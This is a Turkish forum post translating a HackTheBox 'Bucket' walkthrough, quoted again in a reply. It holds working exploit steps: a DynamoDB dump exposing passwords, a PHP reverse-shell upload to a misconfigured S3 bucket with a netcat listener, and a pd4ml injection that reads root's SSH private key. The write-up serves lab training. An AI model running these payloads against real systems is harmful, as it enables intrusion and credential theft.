Kova HackTheBox İncelemesi

afff.png


Öncelikle PC'nizi
HackTheBox VPNBucket makinesine bağlayın ve IP'sine ping atarak bağlantınızın olduğundan emin olun 10.10.10.212. Her şey doğru giderse, bilgisayar korsanlığına başlama zamanı. Her zamanki gibi makineyi tarayarak başladım . Scanning nasıl ilerlememiz gerektiği konusunda bize bir fikir verir. Mesela, farklı portlar üzerinden çalışan servislere yardımcı olur banner grabbingve bazen de yardımcı olur vulnerability assessment. Bu görev için kullandım nmap ve sonuç aşağıda verilmiştir:

Tarama

Kod:
$ sudo nmap -sC -sV -oN bucket.nmap 10.10.10.212

affff2.png


Nmap 22 ve 80 numaralı bağlantı noktasının açık olduğunu ortaya çıkardı. OpenSSH bağlantı noktasında çalışıyor 22 ve Apache2 web sunucusu bağlantı noktasında çalışıyor 80. Apache2, 80 numaralı bağlantı noktasında çalıştığından, http://10.10.10.212 URL'si üzerinden çalışan bazı web sitelerimiz olmalıdır . Bu URL'ye gittikten sonra http ://bucket.htb yönlendirmesi bulundu . Bu nedenle, daha fazla numaralandırmaya geçmeden önce, dizinde bulunan dosyamıza IP 10.10.10.212'ye işaret eklemeliyiz . Bu kaydı ana bilgisayarlarıma ekledim bucket.htbhosts /etc/dosya.

Değişiklikten Sonra Dosyayı Barındırın



Kod:
$ cat /etc/hosts

afff3.png


Devam eden http://bucket.htb adresinde Bucket Reklam Platformu başlığı ve bir e-posta adresi bulundu [email protected]. 25 Port 110 ve açık olmadığımız için burada e-posta kullanımı yoktur.

af4.png



page-source
Bu sayfanın adresini kontrol etmeye çalıştım ve yeni bir alt alan adı aldım
s3.bucket.htb
Bu yüzden daha ileri gitmeden önce bu alt etki alanını dosyama ekledim

af5.png


Değişiklikten Sonra Dosyayı Barındırın

Kod:
$ cat /etc/hosts

af6.png


http://s3.bucket.htb URL'sine gittikten sonra bulundu {Status: running}. Bir şey çalışıyor gibi görünüyor. O olduğundan ve aynı zamanda kovalanacak S3 bir ipucu olduğundan , öyle olmalıdır AWS ( Amazon Web Services ) . S3 Bucket kullandığını öğrenmemize rağmen, sayacak hiçbir şeyimiz yok, bu yüzden hiçbir şey kalmadı accept ve .S3 Bucketdirectory bruteforcingfuzzing


Dizin Brute Force​


Kod:
$ sudo dirsearch -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://s3.bucket.htb/ -t 50 -e all | tee raft-medium.out

af7.png


Dizin Brute Force bir klasör buldu shell. URL'deki bu klasöre gittikten sonra http : //s3.bucket.htb/shell/bulundu . Biraz googling yaptıktan sonra , tablonun içeriğini bundan numaralandırabileceğimiz bir yol bulduk . Bu bağlantıyı StackOverflow'ta kontrol edin . Basitçe aşağıdaki kodu içine koyun ve kodu çalıştırmak için çalıştır'a tıklayın . Tablonun içindeki tüm öğelerin ayrıntılarını alacaksınız .DynamoDB JavaScript Shellusers Shell editor users

Kod:
var dynamodb = new AWS.DynamoDB({[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]region: 'us-east-1',
endpoint: "http://s3.bucket.htb"
});
var tableName = "users";

var params = {
TableName: tableName,
Select: "ALL_ATTRIBUTES"
};
function doScan(response) {
if (response.error) ppJson(response.error); // an error occurred
else {
    ppJson(response.data); // successful response

    // More data.  Keep calling scan.
    if ('LastEvaluatedKey' in response.data) {
        response.request.params.ExclusiveStartKey = response.data.LastEvaluatedKey;
        dynamodb.scan(response.request.params)
            .on('complete', doScan)
            .send();
    }
}
}
console.log("Starting a Scan of the table");
dynamodb.scan(params)
.on('complete', doScan)
.send();




af8.png


Yukarıdaki çıktıdan kimlik bilgilerini bulduk. Mgmt: Management@#1@#, Cloudadm: Welcome123!, Sysadm:n2vM-<_K_Q:.Aa2

SSH'miz
için hangisinin doğru kredi olduğunu bilmiyordum . hydra Her biri ile tek tek SSH'yi denedim ve hatta (çevrimiçi kaba kuvvet) kullanarak tüm SSH kombinasyonlarını test etmeye çalıştım, ancak geçerli bir SSH kimlik bilgisi bulunamadı . Burada numaralandırılmış kimlik bilgilerimiz şimdiye kadar işe yaramaz. Her neyse, bu kimlik bilgilerini my 'a ekledim , belki daha fazla numaralandırmada başka bir noktada faydalı olabilir . cherry tree notes

Biraz daha numaralandırmadan
sonra, aws komut satırı aracını kullanarak kova içindeki tüm web sunucusunu ve dosyalarını numaralandırmanın bir yolunu bulduk . Aracı kullanmak için önce onu geçerli bir AWS kimlik bilgileriyle yapılandırmamız gerekir . Gerekli kimlik bilgileri , , &' dir ( awscli aracı kullanımını yüklemek için ). Burada aws S3 klasörü yanlış yapılandırılmıştır ve herhangi bir sahte kimlik bilgisi olan herkes bu S3 klasöründe çalışan web sunucusuna erişebilir .awscli awscli AWS Access Key IDAWS Secret Access KeyDefault region nameDefault output format$sudo apt install awscli

Bunu kullanarak, bu kovada çalışan web sunucusuna da erişebildim. Ben bile bu web sunucusuna bir ters kabuk yükleyebilir ve makineme tekrar bağlantı sağlamak için ters kabuğu çalıştırabilirim . fake credential

Ters kabuk
elde etmek için aşağıdakileri yapın.

1 . awscli'yi sahte kimlik bilgisi kullanarak ilk kullanım için yapılandırın . Daha fazla bilgi için amazon'daki bu makaleye bakın .


AWS Bucket'e Aws CLI Aracılığıyla Erişme​

Kod:
$ aws configure

AWS Erişim Anahtarı Kimliği :AKIAI44QH8DHBEXAMPLE

AWS Gizli Erişim Anahtarı
: je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY

Varsayılan bölge adı
:us-east-1

Varsayılan çıktı formatı
:text

2.
S3 klasörünün içeriğini http://s3.bucket.htb adresinde listeleyin.

Kod:
$ aws s3 ls --endpoint-url http://s3.bucket.htb --no-sign-request

Adserver web sunucusu s3.bucket.htb adresindeki grupta çalışıyor .

3. Reklam sunucusu grubundaki içeriği listeleyin .

Kod:
$ aws s3 ls --recursive --human-readable s3://adserver --endpoint-url http://s3.bucket.htb/

4. aws komutunu kullanarak php-reverse-shell betiğinizi image klasörüne kopyalayın [ php-reverse-shell betiğinde IP adresini tun0 IP'nizle değiştirmeyi unutmayın . Shell, Kali işletim sisteminizde ] dizininde bulunabilir .cp /usr/share/webshells/php/

Kod:
$ aws s3 cp ~/HTB/Boxes/Bucket/shell.php s3://adserver/images/shell.php --endpoint-url http://s3.bucket.htb/

5.
reverse-shell

reklam sunucusu grubuna yüklenip yüklenmediğini doğrulamak için resimler klasörünün dosyasını listeleyin .

Kod:
$ aws s3 ls s3://adserver/images/ --endpoint-url http://s3.bucket.htb/

6. Kali makinenizde netcat dinleyicisini başlatın .

$ nc -nvlp 1234

7
. Shell Çalıştırması

Kod:
$ curl --write-out "%{http_code}\n" --silent --output /dev/null http://s3.bucket.htb/adserver/images/shell.php

Muhtemelen shell yüklediğimiz anda silen bir cron işi vardır . Bu yüzden bu işi çok hızlı yapan bir script oluşturdum . Böylece aşağıdaki betiği kullanarak kabuk alabilirsiniz.

Not: Kabuk almak için bu betiği 2 ila 3 kez çalıştırmanız gerekebilir . Bu betiği çalıştırmadan önce, netcat dinleyicinizi kabuk betiğinizde belirttiğiniz belirtilen bağlantı noktasında başlatın.


Kod:
#!/bin/bash[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
echo "List Files."
aws --endpoint-url http://s3.bucket.htb/ s3 ls --recursive --human-readable --summarize s3://adserver
## Copying  file from local computer to Bucket
aws --endpoint-url http://s3.bucket.htb/ s3 cp shell.php s3://adserver/images/shell.php
echo "Checking if file is uploaded"
aws --endpoint-url http://s3.bucket.htb/ s3 ls --recursive --human-readable --summarize s3://adserver
# Checking if file exists on web server
echo "Checking on s3.bucket"
curl --write-out "%{http_code}\n" --silent --output /dev/null http://s3.bucket.htb/adserver/images/shell.php
resp=404
# Executing the shell multiple time until get response code 200
while [[ $resp -eq 404 ]]; do
    resp=$(curl --write-out "%{http_code}\n" --silent --output /dev/null  http://bucket.htb/images/shell.php)
    echo $resp
    sleep 0.1;
done





Kod:
$ bash exploit.sh

af9.png


user olarak kullanıcı shellimiz var www-data. Üzerinden daha gelişmiş Linux komutları çalıştırabilmemiz için tam nitelikli Linux shell yetki yükseltelim .

Shell Yetki Yükseltme İşlemi

Kod:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]
$ export TERM=xterm

$ ^Z # CTRL+Z To background the shell

$ stty raw -echo

$ fg # Plus two times enter to foreground the shell

$ stty rows 38 columns 116




af10.png


Daha önce numaralandırılmış üç kimlik bilgimiz var. roy Bunları tek tek kullanarak kullanıcıya geçmeye çalışalım , roy: n2vM-<_K_Q:.Aa2geçerli kimlik bilgileridir. Roy'a geçelim. Bu aynı zamanda geçerli bir SSH kimlik bilgisidir . Shelimizi kaybetmeniz durumunda, SSH Shelimize geri dönmek için bu kimlik bilgisini kullanın .


Kullanıcı Roy'a Geçiş

Kod:
$ su roy

Password: n2vM-<_K_Q:.Aa2

Kod:
$ whoami

af11.png



Capture User Flag



Kod:
$ cd ~
Kod:
$ cat user.txt

Ayrıcalık Yükseltme

Ayrıcalığı root'a yükseltmek için önce ayrıcalığı yükseltebileceğimiz bir ayrıcalık yükseltme vektörü bulmalıyız . Bunun için Bucket makinesindelinpeas.sh (bir kullanım sonrası numaralandırma betiği) koştum . Ayrıcalığı root'a yükseltmek için kullanılabilecek tüm potansiyel PrivEsc Vektörlerinin bilgilerini bulur.

PrivEsc Vektörünü Bulma

Linpea'nın şüphelenilen dizini ayrıcalığı artırmak için kullanılabilecek /var/www/bucket-app/aws/bir şeye sahiptir . Linpeas'ın neden potansiyel PrivEsc vektörümüz olduğundan şüphelendiğini suspicious tam olarak bilmiyordum . Manuel olarak kontrol edelim ve bunu kullanıp kullanmayacağımızı onaylayalım.

af12.png


index.php dizin içindeki dosya, bir tablo hakkında bazı bilgiler ve uç nokta olarak bazı dahili bağlantı noktaları /var/www/bucket-app/verdi . Ortak klasörün içine yerleştirildiğinden ve apache2 çalıştığından , bu bağlantı noktasında dahili web sunucusunun çalışma şansı olabilir. Komutu kullanarak onaylayacağız .alerts 4566 bucket-app$netstat

af13.png


$ netstat -punta
bazı benzersiz bağlantı noktalarını ortaya çıkardı 4566 ve 8000 yerel olarak dinliyor.

af14.png


Bu portlar üzerinden çalışan hizmetlere erişmek için, bu hizmetleri yerel makinemize yönlendirmeliyiz , böylece onlara web tarayıcımızdan erişebiliriz . Kullanıcının SSH kimlik bilgisine sahibiz : , bu nedenle bu hizmetlere erişmek için yerel makinemize gidebiliriz . Yerel port yönlendirme yapalım .roy royn2vM-<_K_Q:.Aa2Local Port Forward



Yerel Port Yönlendirme Gerçekleştirme​

Kod:
$ ssh -L 8000:127.0.0.1:8000 -L 4566:127.0.0.1:4566 [email protected][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]
~n2vM-<_K_Q:.Aa2




Kod:
$ ss -lnpt # Check for listening port on your local machine

af15.png


Kali makinemizdeki komutla onaylanabileceği gibi, bağlantı noktasını $ss –lnpt Kali makinemize başarıyla ilettik . Artık http://127.0.0.1:8000/ & http://127.0.0.1:4566 URL'sini ziyaret ederek portta ve web tarayıcımızda çalışan hizmetleri kontrol edebiliriz . 8000 4566

Yapım aşamasında,
URL'de http://127.0.0.1:8000 gösterilir .

af16.png


Running status http://127.0.0.1:4566 URL'sinde gösterilir . index.php Daha fazla bilgi için adresindeki dosyayı tekrar kontrol edelim /var/www/bucket-app/ .

af17.png


POST requestBu dosyaya göre bazı verileri tablonun içine kabul ettikten sonra yapıyor alerts. Bu tablo ayrıca , ve in gibi bazı ek değerler de ister . Kök kullanıcıyı elde etmek için bu özelliği kullanacağız . Bu sayfanın nasıl çalıştığı hakkında daha fazla bilgi için bu makaleye göz atabilirsiniz .Ransomewareget_alerts()filePost Dataprivate SSH key

Bu özellikten yararlanmak ve kök kullanıcının özel anahtarını almak için aşağıdakileri yaptım.

1. Yeni bir DynamoDB tablo oluşturuldu alerts.

2. Tablo uyarılarına yükümüzle birlikte istenen değerleri ekledik .

3. Sonunda POST talep edildiği gibi bazı ek verilerle talepte bulunuldu.

Bu işi gerçekleştirmek için bir komut dosyası oluşturdum . Komut dosyasını bir dosyaya kopyalayın ve uzantıyla kaydedin . ve osh execute


Kod:
#!/bin/bash[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]echo "Creating New Table"
echo "======================================"

# Creating New Table alerts

aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566

echo "======================================"
echo "Writing Data to alerts and putting in the file attacked.txt"

# Writing Data to table alerts

aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"PushPin\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566
echo "======================================"
echo "Making Post Requests"

# Making Post Request with data "action=get_alerts"

curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/index.php
echo "Done"
echo "Go to http://127.0.0.1:8000/files/ and download the attachment"




Kod:
$ bash command.sh

af18.png


Simgeye tıklayarak eki indirmek için http://127.0.0.1/files/result.pdf URL'sine gidelim pin .

af19.png


Ek, id_rsa root kullanıcının anahtarıdır.

Kod:
$ cat ~/Downloads/id_rsa

af20.png


SSH private key Kova makinesine root olarak giriş yapmak için bunu kullanalım .


Root Shelle Ulaşalım​


Kod:
$ cp ~/Downloads/id_rsa .
Kod:
$ chmod 400 id_rsa
Kod:
$ ssh -i id_rsa [email protected]
Kod:
# whoami && id

af21.png


Artık Root olduk, root bayrağını yakalayalım. 🥰


Capture Root Flag


Kod:
#cat root.txt

af22.png



KAYNAK : ethicalhacs



Not: Konuyu Elimden Geldiği Kadar Türkçeleştirmeye çalıştım.Bir Hatam varsa Lütfen konu altında bildirin düzeltiyim.
Teşekkürler.☺️






kay196177t-2023-07-14-132224.gif












 
Son düzenleme:
  • Sevgi dolu
Tepkiler: CH

Ertugrul'

Basın&Medya Ekibi Deneyimli
22 Mar 2023
1,154
900
Photoshop 🔥
afff.png


Öncelikle PC'nizi
HackTheBox VPNBucket makinesine bağlayın ve IP'sine ping atarak bağlantınızın olduğundan emin olun 10.10.10.212. Her şey doğru giderse, bilgisayar korsanlığına başlama zamanı. Her zamanki gibi makineyi tarayarak başladım . Scanning nasıl ilerlememiz gerektiği konusunda bize bir fikir verir. Mesela, farklı portlar üzerinden çalışan servislere yardımcı olur banner grabbingve bazen de yardımcı olur vulnerability assessment. Bu görev için kullandım nmap ve sonuç aşağıda verilmiştir:

Tarama

Kod:
$ sudo nmap -sC -sV -oN bucket.nmap 10.10.10.212

affff2.png


Nmap 22 ve 80 numaralı bağlantı noktasının açık olduğunu ortaya çıkardı. OpenSSH bağlantı noktasında çalışıyor 22 ve Apache2 web sunucusu bağlantı noktasında çalışıyor 80. Apache2, 80 numaralı bağlantı noktasında çalıştığından, http://10.10.10.212 URL'si üzerinden çalışan bazı web sitelerimiz olmalıdır . Bu URL'ye gittikten sonra http ://bucket.htb yönlendirmesi bulundu . Bu nedenle, daha fazla numaralandırmaya geçmeden önce, dizinde bulunan dosyamıza IP 10.10.10.212'ye işaret eklemeliyiz . Bu kaydı ana bilgisayarlarıma ekledim bucket.htbhosts /etc/dosya.

Değişiklikten Sonra Dosyayı Barındırın



Kod:
$ cat /etc/hosts

afff3.png


Devam eden http://bucket.htb adresinde Bucket Reklam Platformu başlığı ve bir e-posta adresi bulundu [email protected]. 25 Port 110 ve açık olmadığımız için burada e-posta kullanımı yoktur.

af4.png



page-source
Bu sayfanın adresini kontrol etmeye çalıştım ve yeni bir alt alan adı aldım
s3.bucket.htb
Bu yüzden daha ileri gitmeden önce bu alt etki alanını dosyama ekledim

af5.png


Değişiklikten Sonra Dosyayı Barındırın

Kod:
$ cat /etc/hosts

af6.png


http://s3.bucket.htb URL'sine gittikten sonra bulundu {Status: running}. Bir şey çalışıyor gibi görünüyor. O olduğundan ve aynı zamanda kovalanacak S3 bir ipucu olduğundan , öyle olmalıdır AWS ( Amazon Web Services ) . S3 Bucket kullandığını öğrenmemize rağmen, sayacak hiçbir şeyimiz yok, bu yüzden hiçbir şey kalmadı accept ve .S3 Bucketdirectory bruteforcingfuzzing


Dizin Brute Force​


Kod:
$ sudo dirsearch -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://s3.bucket.htb/ -t 50 -e all | tee raft-medium.out

af7.png


Dizin Brute Force bir klasör buldu shell. URL'deki bu klasöre gittikten sonra http : //s3.bucket.htb/shell/bulundu . Biraz googling yaptıktan sonra , tablonun içeriğini bundan numaralandırabileceğimiz bir yol bulduk . Bu bağlantıyı StackOverflow'ta kontrol edin . Basitçe aşağıdaki kodu içine koyun ve kodu çalıştırmak için çalıştır'a tıklayın . Tablonun içindeki tüm öğelerin ayrıntılarını alacaksınız .DynamoDB JavaScript Shellusers Shell editor users

Kod:
var dynamodb = new AWS.DynamoDB({[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]region: 'us-east-1',
endpoint: "http://s3.bucket.htb"
});
var tableName = "users";

var params = {
TableName: tableName,
Select: "ALL_ATTRIBUTES"
};
function doScan(response) {
if (response.error) ppJson(response.error); // an error occurred
else {
    ppJson(response.data); // successful response

    // More data.  Keep calling scan.
    if ('LastEvaluatedKey' in response.data) {
        response.request.params.ExclusiveStartKey = response.data.LastEvaluatedKey;
        dynamodb.scan(response.request.params)
            .on('complete', doScan)
            .send();
    }
}
}
console.log("Starting a Scan of the table");
dynamodb.scan(params)
.on('complete', doScan)
.send();



af8.png


Yukarıdaki çıktıdan kimlik bilgilerini bulduk. Mgmt: Management@#1@#, Cloudadm: Welcome123!, Sysadm:n2vM-<_K_Q:.Aa2

SSH'miz
için hangisinin doğru kredi olduğunu bilmiyordum . hydra Her biri ile tek tek SSH'yi denedim ve hatta (çevrimiçi kaba kuvvet) kullanarak tüm SSH kombinasyonlarını test etmeye çalıştım, ancak geçerli bir SSH kimlik bilgisi bulunamadı . Burada numaralandırılmış kimlik bilgilerimiz şimdiye kadar işe yaramaz. Her neyse, bu kimlik bilgilerini my 'a ekledim , belki daha fazla numaralandırmada başka bir noktada faydalı olabilir . cherry tree notes

Biraz daha numaralandırmadan
sonra, aws komut satırı aracını kullanarak kova içindeki tüm web sunucusunu ve dosyalarını numaralandırmanın bir yolunu bulduk . Aracı kullanmak için önce onu geçerli bir AWS kimlik bilgileriyle yapılandırmamız gerekir . Gerekli kimlik bilgileri , , &' dir ( awscli aracı kullanımını yüklemek için ). Burada aws S3 klasörü yanlış yapılandırılmıştır ve herhangi bir sahte kimlik bilgisi olan herkes bu S3 klasöründe çalışan web sunucusuna erişebilir .awscli awscli AWS Access Key IDAWS Secret Access KeyDefault region nameDefault output format$sudo apt install awscli

Bunu kullanarak, bu kovada çalışan web sunucusuna da erişebildim. Ben bile bu web sunucusuna bir ters kabuk yükleyebilir ve makineme tekrar bağlantı sağlamak için ters kabuğu çalıştırabilirim . fake credential

Ters kabuk
elde etmek için aşağıdakileri yapın.

1 . awscli'yi sahte kimlik bilgisi kullanarak ilk kullanım için yapılandırın . Daha fazla bilgi için amazon'daki bu makaleye bakın .


AWS Bucket'e Aws CLI Aracılığıyla Erişme​

Kod:
$ aws configure

AWS Erişim Anahtarı Kimliği :AKIAI44QH8DHBEXAMPLE

AWS Gizli Erişim Anahtarı
: je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY

Varsayılan bölge adı
:us-east-1

Varsayılan çıktı formatı
:text

2.
S3 klasörünün içeriğini http://s3.bucket.htb adresinde listeleyin.

Kod:
$ aws s3 ls --endpoint-url http://s3.bucket.htb --no-sign-request

Adserver web sunucusu s3.bucket.htb adresindeki grupta çalışıyor .

3. Reklam sunucusu grubundaki içeriği listeleyin .

Kod:
$ aws s3 ls --recursive --human-readable s3://adserver --endpoint-url http://s3.bucket.htb/

4. aws komutunu kullanarak php-reverse-shell betiğinizi image klasörüne kopyalayın [ php-reverse-shell betiğinde IP adresini tun0 IP'nizle değiştirmeyi unutmayın . Shell, Kali işletim sisteminizde ] dizininde bulunabilir .cp /usr/share/webshells/php/

Kod:
$ aws s3 cp ~/HTB/Boxes/Bucket/shell.php s3://adserver/images/shell.php --endpoint-url http://s3.bucket.htb/

5.
reverse-shell

reklam sunucusu grubuna yüklenip yüklenmediğini doğrulamak için resimler klasörünün dosyasını listeleyin .

Kod:
$ aws s3 ls s3://adserver/images/ --endpoint-url http://s3.bucket.htb/

6. Kali makinenizde netcat dinleyicisini başlatın .

$ nc -nvlp 1234

7
. Shell Çalıştırması

Kod:
$ curl --write-out "%{http_code}\n" --silent --output /dev/null http://s3.bucket.htb/adserver/images/shell.php

Muhtemelen shell yüklediğimiz anda silen bir cron işi vardır . Bu yüzden bu işi çok hızlı yapan bir script oluşturdum . Böylece aşağıdaki betiği kullanarak kabuk alabilirsiniz.

Not: Kabuk almak için bu betiği 2 ila 3 kez çalıştırmanız gerekebilir . Bu betiği çalıştırmadan önce, netcat dinleyicinizi kabuk betiğinizde belirttiğiniz belirtilen bağlantı noktasında başlatın.


Kod:
#!/bin/bash[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
echo "List Files."
aws --endpoint-url http://s3.bucket.htb/ s3 ls --recursive --human-readable --summarize s3://adserver
## Copying  file from local computer to Bucket
aws --endpoint-url http://s3.bucket.htb/ s3 cp shell.php s3://adserver/images/shell.php
echo "Checking if file is uploaded"
aws --endpoint-url http://s3.bucket.htb/ s3 ls --recursive --human-readable --summarize s3://adserver
# Checking if file exists on web server
echo "Checking on s3.bucket"
curl --write-out "%{http_code}\n" --silent --output /dev/null http://s3.bucket.htb/adserver/images/shell.php
resp=404
# Executing the shell multiple time until get response code 200
while [[ $resp -eq 404 ]]; do
    resp=$(curl --write-out "%{http_code}\n" --silent --output /dev/null  http://bucket.htb/images/shell.php)
    echo $resp
    sleep 0.1;
done




Kod:
$ bash exploit.sh

af9.png


user olarak kullanıcı shellimiz var www-data. Üzerinden daha gelişmiş Linux komutları çalıştırabilmemiz için tam nitelikli Linux shell yetki yükseltelim .

Shell Yetki Yükseltme İşlemi

Kod:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]
$ export TERM=xterm

$ ^Z # CTRL+Z To background the shell

$ stty raw -echo

$ fg # Plus two times enter to foreground the shell

$ stty rows 38 columns 116



af10.png


Daha önce numaralandırılmış üç kimlik bilgimiz var. roy Bunları tek tek kullanarak kullanıcıya geçmeye çalışalım , roy: n2vM-<_K_Q:.Aa2geçerli kimlik bilgileridir. Roy'a geçelim. Bu aynı zamanda geçerli bir SSH kimlik bilgisidir . Shelimizi kaybetmeniz durumunda, SSH Shelimize geri dönmek için bu kimlik bilgisini kullanın .


Kullanıcı Roy'a Geçiş

Kod:
$ su roy

Password: n2vM-<_K_Q:.Aa2

Kod:
$ whoami

af11.png



Capture User Flag



Kod:
$ cd ~
Kod:
$ cat user.txt

Ayrıcalık Yükseltme

Ayrıcalığı root'a yükseltmek için önce ayrıcalığı yükseltebileceğimiz bir ayrıcalık yükseltme vektörü bulmalıyız . Bunun için Bucket makinesindelinpeas.sh (bir kullanım sonrası numaralandırma betiği) koştum . Ayrıcalığı root'a yükseltmek için kullanılabilecek tüm potansiyel PrivEsc Vektörlerinin bilgilerini bulur.

PrivEsc Vektörünü Bulma

Linpea'nın şüphelenilen dizini ayrıcalığı artırmak için kullanılabilecek /var/www/bucket-app/aws/bir şeye sahiptir . Linpeas'ın neden potansiyel PrivEsc vektörümüz olduğundan şüphelendiğini suspicious tam olarak bilmiyordum . Manuel olarak kontrol edelim ve bunu kullanıp kullanmayacağımızı onaylayalım.

af12.png


index.php dizin içindeki dosya, bir tablo hakkında bazı bilgiler ve uç nokta olarak bazı dahili bağlantı noktaları /var/www/bucket-app/verdi . Ortak klasörün içine yerleştirildiğinden ve apache2 çalıştığından , bu bağlantı noktasında dahili web sunucusunun çalışma şansı olabilir. Komutu kullanarak onaylayacağız .alerts 4566 bucket-app$netstat

af13.png


$ netstat -punta
bazı benzersiz bağlantı noktalarını ortaya çıkardı 4566 ve 8000 yerel olarak dinliyor.

af14.png


Bu portlar üzerinden çalışan hizmetlere erişmek için, bu hizmetleri yerel makinemize yönlendirmeliyiz , böylece onlara web tarayıcımızdan erişebiliriz . Kullanıcının SSH kimlik bilgisine sahibiz : , bu nedenle bu hizmetlere erişmek için yerel makinemize gidebiliriz . Yerel port yönlendirme yapalım .roy royn2vM-<_K_Q:.Aa2Local Port Forward



Yerel Port Yönlendirme Gerçekleştirme​

Kod:
$ ssh -L 8000:127.0.0.1:8000 -L 4566:127.0.0.1:4566 [email protected][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]
~n2vM-<_K_Q:.Aa2



Kod:
$ ss -lnpt # Check for listening port on your local machine

af15.png


Kali makinemizdeki komutla onaylanabileceği gibi, bağlantı noktasını $ss –lnpt Kali makinemize başarıyla ilettik . Artık http://127.0.0.1:8000/ & http://127.0.0.1:4566 URL'sini ziyaret ederek portta ve web tarayıcımızda çalışan hizmetleri kontrol edebiliriz . 8000 4566

Yapım aşamasında,
URL'de http://127.0.0.1:8000 gösterilir .

af16.png


Running status http://127.0.0.1:4566 URL'sinde gösterilir . index.php Daha fazla bilgi için adresindeki dosyayı tekrar kontrol edelim /var/www/bucket-app/ .

af17.png


POST requestBu dosyaya göre bazı verileri tablonun içine kabul ettikten sonra yapıyor alerts. Bu tablo ayrıca , ve in gibi bazı ek değerler de ister . Kök kullanıcıyı elde etmek için bu özelliği kullanacağız . Bu sayfanın nasıl çalıştığı hakkında daha fazla bilgi için bu makaleye göz atabilirsiniz .Ransomewareget_alerts()filePost Dataprivate SSH key

Bu özellikten yararlanmak ve kök kullanıcının özel anahtarını almak için aşağıdakileri yaptım.

1. Yeni bir DynamoDB tablo oluşturuldu alerts.

2. Tablo uyarılarına yükümüzle birlikte istenen değerleri ekledik .

3. Sonunda POST talep edildiği gibi bazı ek verilerle talepte bulunuldu.

Bu işi gerçekleştirmek için bir komut dosyası oluşturdum . Komut dosyasını bir dosyaya kopyalayın ve uzantıyla kaydedin . ve osh execute


Kod:
#!/bin/bash[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]echo "Creating New Table"
echo "======================================"

# Creating New Table alerts

aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566

echo "======================================"
echo "Writing Data to alerts and putting in the file attacked.txt"

# Writing Data to table alerts

aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"PushPin\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566
echo "======================================"
echo "Making Post Requests"

# Making Post Request with data "action=get_alerts"

curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/index.php
echo "Done"
echo "Go to http://127.0.0.1:8000/files/ and download the attachment"



Kod:
$ bash command.sh

af18.png


Simgeye tıklayarak eki indirmek için http://127.0.0.1/files/result.pdf URL'sine gidelim pin .

af19.png


Ek, id_rsa root kullanıcının anahtarıdır.

Kod:
$ cat ~/Downloads/id_rsa

af20.png


SSH private key Kova makinesine root olarak giriş yapmak için bunu kullanalım .


Root Shelle Ulaşalım​


Kod:
$ cp ~/Downloads/id_rsa .
Kod:
$ chmod 400 id_rsa
Kod:
$ ssh -i id_rsa [email protected]
Kod:
# whoami && id

af21.png


Artık Root olduk, root bayrağını yakalayalım. 🥰


Capture Root Flag


Kod:
#cat root.txt

af22.png



KAYNAK : ethicalhacs



Not: Konuyu Elimden Geldiği Kadar Türkçeleştirmeye çalıştım.Bir Hatam varsa Lütfen konu altında bildirin düzeltiyim.
Teşekkürler.☺️


















Elinize Sağlık Güzel Bir Konu Olmuş.
 

xNovem

Üye
9 Tem 2023
150
128
afff.png


Öncelikle PC'nizi
